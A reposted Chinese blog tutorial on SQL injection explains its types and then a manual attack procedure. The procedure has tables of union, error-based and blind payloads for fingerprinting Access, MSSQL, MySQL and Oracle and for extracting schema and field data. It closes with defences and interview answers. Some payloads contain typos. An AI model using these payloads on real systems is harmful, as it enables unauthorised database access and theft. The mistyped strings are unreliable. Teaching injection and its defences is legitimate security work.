sql注入-原理&防御


       SQL注入是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。

總結一句話:SQL注入實質就是閉合前一句查詢語句,構造惡意語句,惡意語句被代入SQL語句執行。


目錄

sql注入分類

手工注入的攻擊步驟

防御


sql注入分類

按數據類型分類

數字型

后台語句可能為:

$id=$_POST['id']

select user,password from users where id=$id

字符型

后台語句可能為:

$id=$_POST['id']

select user,password from users where id='$id'

區別和聯系

數字類型直接將后台接收到用戶輸入的內容帶入到數據庫中執行;而字符型將接收到的內容添加到引號內然后進行執行。

字符型注入需要考慮語句的閉合問題,而數字類型則不存在

按注入位置分

GET方式注入
注入參數以GET方式進行提交
POST方式注入
注入參數以POST方式進行提交
基於cookie的注入
后台接收cookie內的參數,在http的cookie字段中存在注入漏洞
基於http頭部的注入
后台會接收referer或user-agent字段中的參數,http頭部中的referer、user-agent字段中存在注入漏洞

 

盲注

基於UNION的注入

首先通過order by 進行判斷查詢參數的數目,然后構造union查詢,查看回顯。有時需要將前面參數名修改為假的參數。如id=-1’ union select 1,2,3 查找頁面中1,2,3的位置,在頁面中顯示的數字的地方構造查詢的內容。若頁面無回顯但報錯可以嘗試報錯注入

基於布爾的盲注
特點:網站頁面在輸入條件為true和false的情況下會顯示不同,但頁面中沒有輸出。此時需要在SQL語句之后添加條件判斷。
猜解思路:

猜解數據庫:先構造條件判斷當前數據庫的名字長度,然后逐字猜解數據庫名。
猜解數據表:先構造條件判斷數據表的數量,然后逐個進行猜解,先猜解表名長度然后逐字猜解表名。
猜解數據列:指定數據庫中的指定表進行猜解字段,首先猜解字段的數目,然后逐個猜解字段
猜解內容:指定數據列,先查詢數據的條數,然后逐條猜解其中的內容

基於報錯的注入

常用函數:

updatexml(1,concat('~',SQL語句,'~'),1)

extractvalue(1,concat('~',(SQL語句)))

基於時間的盲注
特點:網站頁面在輸入條件為真和為假返回的頁面相同,但通過延時函數構造語句,可通過頁面響應時間的不同判斷是否存在注入
猜解思路:
類似基於布爾的盲注,只是將條件為真轉換為延時響應
常用函數

if(condition,A,B):若condition返回真則執行A,假則執行B
substr(str,A,B):字符串截取函數,截取str字符串從A位置開始,截取B個字符
left(str,A):類似字符串截取函數,返回str字符串從左往右數的A個字符
count(A):計算A的數目,常用與查詢數據表、數據列、數據內容的條數
len(A):計算A的長度,常用於返回數據庫名、數據表名、數據列名的長度
ascii(A):返回A的ascii碼,當逐字猜解限制單引號的輸入時,可以通過查詢ascii碼來繞過

寬字節注入
寬字節注入的原理即為數據庫的編碼與后台程序的編碼不一致,數據庫中一個字符占兩個字節,而后台程序為一個字符占一個字節,當后台程序對輸入的單引號的字符進行轉義時,通過在這些轉義的字符前輸入%bf然后將%bf’帶入后台程序時會轉義為%bf’,此時帶入數據庫中,數據庫將%bf\看作是一個中文字符從而使用單引號將SQL語句進行閉合。

還有一些少見的注入,比如二次注入,base64加密注入等,以后再整理進去


手工注入的攻擊步驟

(這里語句太多了,我還是去復制黏貼一下別人的博客吧)

1、確認目標參數

我們首先要確定要測試哪些參數。在以前參數還是比較容易確定的,比如前面說的http://example.com/app/accountView?id=1,問號后邊的參數大多是動態參數。

但現在都講restful,所以首先參數並不一定在問號后邊,比如url可能變成http://example.com/app/accountView/1/這樣的;其次大多參數都是post的,所以目標要從url更多轉移到post數據上。

2、確認動態參數

動態參數就是帶入數據庫的參數,很多參數是不帶入數據庫的而只有帶入數據庫的參數才有可能導致sql注入,所以我們需要確認哪些參數是動態參數。

沒具體去分析sqlmap等工具是怎么確定一個參數是不是動態參數,我們可以使用前面說的單引號法和1=1/1=2法,如果參數有過濾不能注入那我們權當他不是動態參數也一樣的。

3、爆出數據庫類型

因為雖然數據庫都兼容sql92但不同的數據庫其具有的系統庫表和擴展功能都是不一樣的,這導致我們后續查詢庫名、表名、列名具體注入語句會隨數據庫的不同而有差異,所以首先要確認服務端使用的是什么數據庫,是oracle還是mysql還是其他。

和檢測操作系統等類似,判斷是什么數據庫也是用“指紋”的形式,數據庫的指紋就是數據庫支持的注釋符號、系統變量、系統函數、系統表等,所以應該可以整理出更多的檢測語句。

數據庫

注入語句                  

原理                                               用處                                
access and user>0 user是mssql內置變量,類型為nvarchar;nvarchar與int比較會報錯 msqql和access報錯不一樣可區分數據庫是mssql還是access
mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不會報錯下句會報錯

access不存在sysobjects存在msysobjects,上句會報錯下句不會報錯

可用於確認數據庫是mssql還是access
mysql

select @@version

select database()

@@version是mysql的內置變量

database()是mysql的內置函數

如果返回正常則說明是oracle
oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系統表 如果返回正常則說明是oracle
multl

/*

--

;

mysql支持的注釋

mssql和oracle支持的注釋

oracle不支持多行

報錯說明不是mysql

不報錯可能是mssql或oracle

報錯極有可能是oracle

 

4、爆出數據庫名
數據庫 注入語句                                                                說明                                                            
access   access一個數據庫對應一個文件,獲取文件名沒有很大意義
mssql

and db_name() = 0

and db_name(n) > 0

從返回的報錯信息中可獲取當前數據庫名

返回的報錯信息中有第n個數據庫的庫名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出當前數據庫名

n為幾就返回第幾個數據庫的庫名返回空就表示沒有更多數據庫了

返回所有數據庫名

oracle

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一庫名'),4,5... from dual

返回第一個庫名

返回當前用戶所擁有的下一庫名

5、猜解數據庫表名
數據庫 注入語句                                                                           說明                                               
access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

不斷測試table_name

如果返回正常那說明該表存在

mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

可爆出當前數據庫表的數量

n為幾就輸出第幾張表的表名

n為幾就輸出db_name庫第幾張表的表名

mysql

and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

n為幾就返回當前第幾張表的表名

返回當前庫的所有表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

返回第一個表名

返回下一個表名

返回包含pass的表名

 

6、猜解字段名

數據庫 注入語句                                                                             說明                                             
access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

table_name使用上一步得到的表名,不斷試column_name

如果返回正常則說明該字段存在

mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可獲取表名和第一個字段名

可以得到第二個字段名

可以得到第三個字段名

mysql

and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

ascii_table_name表示要查的表的表句的十六進制型示n為幾就返回第幾字段的字段名

返回指定表名的所有字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

返回第一個字段名

返回下一個字段名

 

7、猜解字段值

獲取字段內容,各數據庫的方法是比較通用的,當然也有一些自己特色的獲取方法我這里就不管了

方法一:逐字節猜解法

首先猜解出字段長度,然后再逐字節猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

當n-1正常n錯誤時說明字段長度為n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n錯誤時說明字段值第一位ascii碼值為n,再使用mid(cloumn_name,2,1)等繼續猜解后續各個位直至n即可

方法二:union select法

上邊的逐字節猜解法是相當費勁的,使用union select能更快捷地獲取字段值。

由於union select要求兩邊的select返回的select字段數要一樣,所以首先使用order by猜解前邊select返回結果的字段數:

order by 1

order by 2

...

order by n-1

order by n

n-1正常,n報錯時說明原先select字段數為n

然后使用union select查出表中內容

and 1=2 union select 1,2...,n from table_name----and 1=2是為了使原本的select結果為空,頁面中出現數字x說明該處是顯示的是第x字段的結果將x替換為字段名該處即會呈現該字段的內容

and 1=2 union select 1,2..,column_name..,n from table_name----上邊的x替換成column_name,頁面中x處即會顯示column_name字段的內容

防御

代碼層面

1、對用戶輸入的內容進行轉義(PHP中addslashes()、mysql_real_escape()函數)。

2、限制關鍵字的輸入(PHP中preg_replace()函數正則替換關鍵字),限制輸入的長度 。

3、使用SQL語句預處理,對SQL語句首先進行預編譯,然后進行參數綁定,最后傳入參數。

4、所有的查詢語句都使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中。

5、數據長度應該嚴格規定。

6、網站每個數據層的編碼統一。

網絡層面

1、部署防火牆

2、升級 web 服務器運行平台軟件補丁,建議使用 WAF 防護。

 

面試題:

如何進行SQL注入的防御

  1. 關閉應用的錯誤提示

  2. 加waf

  3. 對輸入進行過濾

  4. 限制輸入長度

  5. 限制好數據庫權限,drop/create/truncate等權限謹慎grant

  6. 預編譯好sql語句,python和Php中一般使用?作為占位符。這種方法是從編程框架方面解決利用占位符參數的sql注入,只能說一定程度上防止注入。還有緩存溢出、終止字符等。

  7. 數據庫信息加密安全(引導到密碼學方面)。不采用md5因為有彩虹表,一般是一次md5后加鹽再md5

  8. 清晰的編程規范,結對/自動化代碼 review ,加大量現成的解決方案(PreparedStatement,ActiveRecord,歧義字符過濾, 只可訪問存儲過程 balabala)已經讓 SQL 注入的風險變得非常低了。

  9. 具體的語言如何進行防注入,采用什么安全框架

參考:

https://www.cnblogs.com/lsdb/p/9612424.html

https://blog.csdn.net/BeatRex/article/details/91901196


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM